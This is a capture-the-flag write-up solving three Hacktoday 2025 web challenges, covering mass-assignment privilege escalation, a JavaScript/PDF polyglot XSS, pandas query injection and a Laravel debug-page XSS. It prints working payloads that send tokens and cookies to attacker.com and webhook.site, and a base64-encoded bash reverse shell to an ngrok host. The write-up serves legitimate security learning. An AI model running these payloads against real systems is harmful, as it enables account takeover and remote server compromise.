---
# System prepended metadata

title: "\U0001F575️‍♂️ Final Hacktoday 2025 Web Exploitation Writeup"

---

# 🕵️‍♂️ Final Hacktoday 2025 Web Exploitation Writeup
🖊️**Author:** DJumanto
🛡️**Team:** [HCS - https://schematics-its.com/npc](https://schematics-its.com/npc)
📖**Note:** This Writeup only contains solver for Web Exploitation Challenges

---

# 📚 Table of Contents
1. [Summary (TL;DR)](#Summary-tldr)
2. [Challenges](#Challenges)
    - [Hackyesterday](##Hackyesterday)
    - [CSV](##CSV)
    - [Impossible XSS](##Impossible-XSS)
4. [References](#References)

---

# 🔎 Summary (TL;DR)
The final competitions web challenges contains XSS exploitations inside a file content, XSS in past Laravel CVE, and RCE from pandas unsafe input handling

---

# 🧾 Challenges
## Hackyesterday
- 🤔Difficulity: Easy
- 🕸️Vulnerability: Cross Site Scripting (XSS), Mass Assignment
### Description
We were given a CTFd like web, where we able to create register, login, solve problems, and create challenges. 
### Approach
First thing i do is to find out where the flag is placed at, and it seems like they put it in an admin privilege user password.
> _api/src/models.py_
```python
.....Snippet.....

def init_data():
    """Add users and challenges to the database"""
    db = SessionLocal()

    if db.query(Challenge).count() == 0:
        db_challenges = [
            Challenge(title="Cryptography", description="17+8?", score=20, draft=False, flag="hackyesterday{yeah}"),
            Challenge(title="Reverse Engineering", description="bpi atnic uka", score=30, draft=False, flag="hackyesterday{pembohong}"),
            Challenge(title="Pwn", description="Siapa fans Linz disini?", score=50, draft=False, flag="hackyesterday{aku_bang}"),
        ]
        db.add_all(db_challenges)
        db.commit()

    if db.query(User).count() == 0:
        db_users = []
        for username in ["jokowo", "ganjal", "gibram", "prabomo", "bahlir", "kuch nafari", "arif satria", "when yh menang :("]:
            db_users.append(User(username=username, password=secrets.token_hex(),
                last_solve=datetime.now() - timedelta(days=random.randint(1, 30))
            ))

        random_user = random.choice(db_users)
        random_user.is_admin = True
        random_user.password = os.getenv("FLAG", "FLAG not set.")

        db.add_all(db_users)
        db.commit()

.....Snippet.....
```

So it seems our target is to leak the user password. Traversing on how can we get the user password, there's a bot report functionality that we can use to make an admin bot (assume the user with flag password) to visit the challenge page.
> _api/src/bot.py_
```python
.....Snippet.....

def login_and_view_challenges():
    """Simulates an admin user that logs in and views the challenges page"""
    logging.info("Starting bot...")
    driver = setup_driver()
    driver.get(BASE_URL + "/login")

    username, password = get_admin_credentials()
    username_input = driver.find_element(By.ID, "username")
    username_input.send_keys(username)

    password_input = driver.find_element(By.ID, "password")
    password_input.send_keys(password)

    login_button = driver.find_element(By.ID, "submit")
    login_button.click()
    logging.info("Logged in as '%s' with password '%s'.", username, password)

    time.sleep(3)
    driver.quit()
    
.....Snippet.....
```

Then how do we attempt to create an XSS payload in the main challenge page? Because we need to be an admin to submit a challenge, the composition are as below:
1. title
2. description
3. score
4. flag
5. attachment

> _api/src/routes.py_
```python
...Snippets...

@api.post('/challenges')
async def create_challenge(
    challenge: ChallengeCreate,
    current_user: Annotated[User, Depends(get_current_user)],
    db: Session = Depends(get_db)):

    if not current_user.is_admin:
        raise HTTPException(status_code=403, detail="You are not authorized to create challenges.")

    if challenge.score < 0:
        raise HTTPException(status_code=400, detail="Score must be positive.")

    if len(challenge.title) < 3 or len(challenge.description) < 3 or len(challenge.flag) < 3:
        raise HTTPException(status_code=400, detail="Title, description and flag must be at least 3 characters long.")

    if not challenge.attachment_content or not challenge.attachment_filename:
        db_challenge = Challenge(
            title=challenge.title,
            description=challenge.description,
            score=challenge.score,
            flag=challenge.flag
        )
        db.add(db_challenge)
        db.commit()
        return {"message": "Challenge created successfully."}

    file_content = b64decode(challenge.attachment_content)
    if len(file_content) > MAX_FILE_SIZE:
        raise HTTPException(status_code=400, detail="Attachment too big.")

    file_extension = challenge.attachment_filename.split(".")[-1].lower()
    file_mimetype = magic.from_buffer(file_content, mime=True)
    if file_extension not in ALLOWED_FILETYPES:
        raise HTTPException(status_code=400, detail="Invalid attachment extension.")

    if file_mimetype != ALLOWED_FILETYPES[file_extension]:
        raise HTTPException(status_code=400, detail="Invalid attachment mimetype.")

    if file_extension == "pdf":
        file_name = os.path.join("pdf", uuid4().hex + "." + file_extension)
    else:
        file_name = os.path.join("images", uuid4().hex + "." + file_extension)

    file_path = os.path.join(UPLOADS_DIR, file_name)
    with open(file_path, "wb") as attachment_file:
        attachment_file.write(file_content)

    db_challenge = Challenge(
        title=challenge.title,
        description=challenge.description,
        score=challenge.score,
        flag=challenge.flag,
        attachment_filename=os.path.join("uploads", file_name),
    )
    db.add(db_challenge)
    db.commit()
    return {"message": "Challenge created successfully."}
        
...Snippets...
```

To create a challenge, we can abuse the mass assignment vulnerability in the registration process, where we can add ``is_admin`` to true.
> _api/src/routes.py_
```python
@api.post('/register')
def register(user: UserCreate, db: Session = Depends(get_db)):
    db_user = db.query(User).filter(User.username == user.username).first()

    if db_user:
        raise HTTPException(status_code=400, detail="Username already taken.")

    db_user = User(username=user.username, password=user.password, is_admin=user.is_admin)
    db.add(db_user)
    db.commit()
    db.refresh(db_user)
    return {"access_token": create_access_token(db_user.id, db_user.is_admin)}
```

by supplying this data to the register endpoint, we can become admin:
```json
{
    "username":"grrgrr",
    "password":"grrgrr",
    "is_admin": 1
}
```
![image](https://hackmd.io/_uploads/HyweQAcnxg.png)
Yey... Now how do we get the real admin with flag in the password creds with XSS? First, we need to found out what protection exists. The CSP Configuration is as follows:
```
default-src 'none'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; connect-src *;
```

Using CSP evaluator, we have a little warning in this ``script-src 'self'`` part
> 'self' can be problematic if you host JSONP, AngularJS or user uploaded files.
![image](https://hackmd.io/_uploads/SJDYPyo2lx.png)


In short, this settings might be an issue if we can submit file that contains XSS payload. But how?
In Challenge component, we can see that a script loaded dynamically, below is the script
> _frontend/src/components/Challenge.js_
```jsx
function Challenge({id, title, description, score, draft, attachment_filename, alreadySolved}) {
    const [flag, setFlag] = useState('');
    const [message, setMessage] = useState('');
    const [error, setError] = useState('');
    const [solved, setSolved] = useState(alreadySolved);
    const descriptionRef = useRef();

    useEffect(() => {
      descriptionRef.current.innerHTML = description;
      loadScriptDynamically();
    }, [description]);

    const loadScriptDynamically = () => {
        const scriptElements = descriptionRef.current.querySelectorAll('script');
        scriptElements.forEach((scriptElem) => {
          const newScriptElem = document.createElement('script');
          if (scriptElem.src) {
            newScriptElem.src = scriptElem.src;
          } else {
            newScriptElem.textContent = scriptElem.textContent;
          }
          descriptionRef.current.appendChild(newScriptElem);
          scriptElem.remove();
        });
    }
```

The script will dynamically loaded based on javascript source inside the description part, which means, if we able to submit a file with XSS script inside, then we can refer that file as script source. But... how?

The only way we can create stored files, is in the create challenge endpoint, we can add attachment as part of the challenge set. Yet, we can only submit file with below extensions and mime type:

```
"png": "image/png"
"jpg": "image/jpeg"
"jpeg": "image/jpeg"
"gif": "image/gif"
"pdf": "application/pdf"
```

Of course XSS in the pdf using jspdf or something won't help, since the context will be in the pdf context, not document, so we can't extract the target cookies or localStorage. But here's the trick, below is how the file Mime checking is done:

```python
    file_extension = challenge.attachment_filename.split(".")[-1].lower()
    file_mimetype = magic.from_buffer(file_content, mime=True)
    if file_extension not in ALLOWED_FILETYPES:
        raise HTTPException(status_code=400, detail="Invalid attachment extension.")

    if file_mimetype != ALLOWED_FILETYPES[file_extension]:
        raise HTTPException(status_code=400, detail="Invalid attachment mimetype.")

    if file_extension == "pdf":
        file_name = os.path.join("pdf", uuid4().hex + "." + file_extension)
    else:
        file_name = os.path.join("images", uuid4().hex + "." + file_extension)
```

``magic.from_buffer`` is not a common way to check the file mime, it just check if a spesific magic byte is exists in a buffer, not validate if the format is in a right way, in short, it works like
```python
if b"PDF" in buffer:
    return "application/pdf"
```
We can make pdf file like gedagedi.pdf with content as below:

```js
location.replace("http://attacker.com?c="+localStorage.token)//%PDF-brrbrrpatapim
```
and it will counted as a valid pdf, and a valid js content because we commented verything behind the valid js payload.

1. Create challenge with XSS payload in the PDF as attachment
2. Create challenge again with the PDF as script source inside the description.
3. Access the page, the XSS will be triggered

### POC
1. Create payload (must be base64 encoded)
![image](https://hackmd.io/_uploads/SJzZTA52xx.png)
2. Submit as pdf
![image](https://hackmd.io/_uploads/HkGX6R9heg.png)
3. Take the document as our payload source
![image](https://hackmd.io/_uploads/BJrUaCq3xx.png)
4. Make another challenge with the script html tag with pdf file as the script source to trigger script dynamic load.
![image](https://hackmd.io/_uploads/Hk3JJksnlx.png)
5. Visit the main page again will trigger the XSS
![image](https://hackmd.io/_uploads/S1azk1ihgl.png)

Now with the same flow, we do it again but now we use the report endpoint to trigger the bot visitting the main page
![image](https://hackmd.io/_uploads/B1A0k1i2lx.png)
![image](https://hackmd.io/_uploads/ry-xgyinlx.png)
Now we can set the token to our local storage, and we become the target user
![image](https://hackmd.io/_uploads/B1cUxkihxe.png)
We get the flag in the password field
![image](https://hackmd.io/_uploads/ByKFlJjngl.png)

## CSV
- 🤔Difficulity: Easy
- 🕸️Vulnerability: RCE in Pandas ``query``
### Description
We're given a web where we able to submit a CSV and it will do analysis in the files using df.query.
### Approach
Looking through the website, yes a pandas query can become and RCE if not handled properly. From this [WriteUp](https://ctftime.org/writeup/36155), we can do easily getting RCE. The vulnerable part lies here:
```python
        if not df.empty:
            unique_counts = df.nunique()
            query_column = unique_counts.idxmax()
            
            if df[query_column].dtype == 'object':
                query_value = df[query_column].mode()[0]
                query_string = f"`{query_column}` == '{query_value}'"
            else:
                query_value = df[query_column].mean()
                query_string = f"`{query_column}` > {query_value}"
            try:
                query_result_df = df.query(query_string)
                query_result = query_result_df.head().to_json(orient='split')
                query_result_count = len(query_result_df)
            except Exception as err:
                return jsonify({"error": f"{err}"}), 500
```

### POC
Now, all we need to do is, is create csv file as follow to get reverse shell
```csv
"1`+(@pd.io.common.os.popen('echo c2ggLWkgPiYgL2Rldi90Y3AvMC50Y3AuYXAubmdyb2suaW8vMTI4OTEgMD4mMQ== | base64 -d | bash -i').read())#`"
"1"
```

submit it, and we get access to the server
![image](https://hackmd.io/_uploads/B1KeV1j2ge.png)

## Impossible XSS
- 🤔Difficulity: Easy
- 🕸️Vulnerability: XSS in Laravel error page when debug mode is active (CVE-2024-13919)
### Description
We're given a web where we can reflect sanitized html input we gave to the server.
### Approach
First, the flag is inside the admin cookies, so it must be an XSS, but the sanitizer is pretty lit and i thought it was a zero day challenge, yet i thing it's too hard for such a short time CTF. Then i realize something, if we visit the ``/reflect`` page with get method, it will shows error page which tell us it's on debug mode:
![image](https://hackmd.io/_uploads/HkP4B1inlg.png)
we can also verify this on the ``.env`` file:
```env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:HtLNzkY3rykO8L9XwZyF/CaMaeh/8pULhzNTWQzIpXU=
APP_DEBUG=true
APP_TIMEZONE=UTC
APP_URL=http://localhost
```
then... i found out the version has a CVE record, which was [CVE-2024-13919](https://github.com/sbaresearch/advisories/tree/public/2024/SBA-ADV-20241209-02_Laravel_Reflected_XSS_via_Route_Parameter_in_Debug-Mode_Error_Page). we can supplied anything in the query param with xss payload, and it will be triggered.
![image](https://hackmd.io/_uploads/SJ-EIys3el.png)

Now we can use this payload to get the admin cookies
```
http://103.226.138.119:5001/visit?url=http://web/reflect?payload=%3Cscript%3Elocation.replace(%22http://webhook.site/f66f6619-eb37-47bc-ad09-fb0c1c2f0040?c=%22%2bbtoa(document.cookie))%3C/script%3E
```
![image](https://hackmd.io/_uploads/Hkm6Uki3gg.png)
![image](https://hackmd.io/_uploads/rJvkDJinll.png)

## References
1. [Pandas RCE](https://ctftime.org/writeup/36155)
2. [CVE-2024-13919](https://github.com/sbaresearch/advisories/tree/public/2024/SBA-ADV-20241209-02_Laravel_Reflected_XSS_via_Route_Parameter_in_Debug-Mode_Error_Page)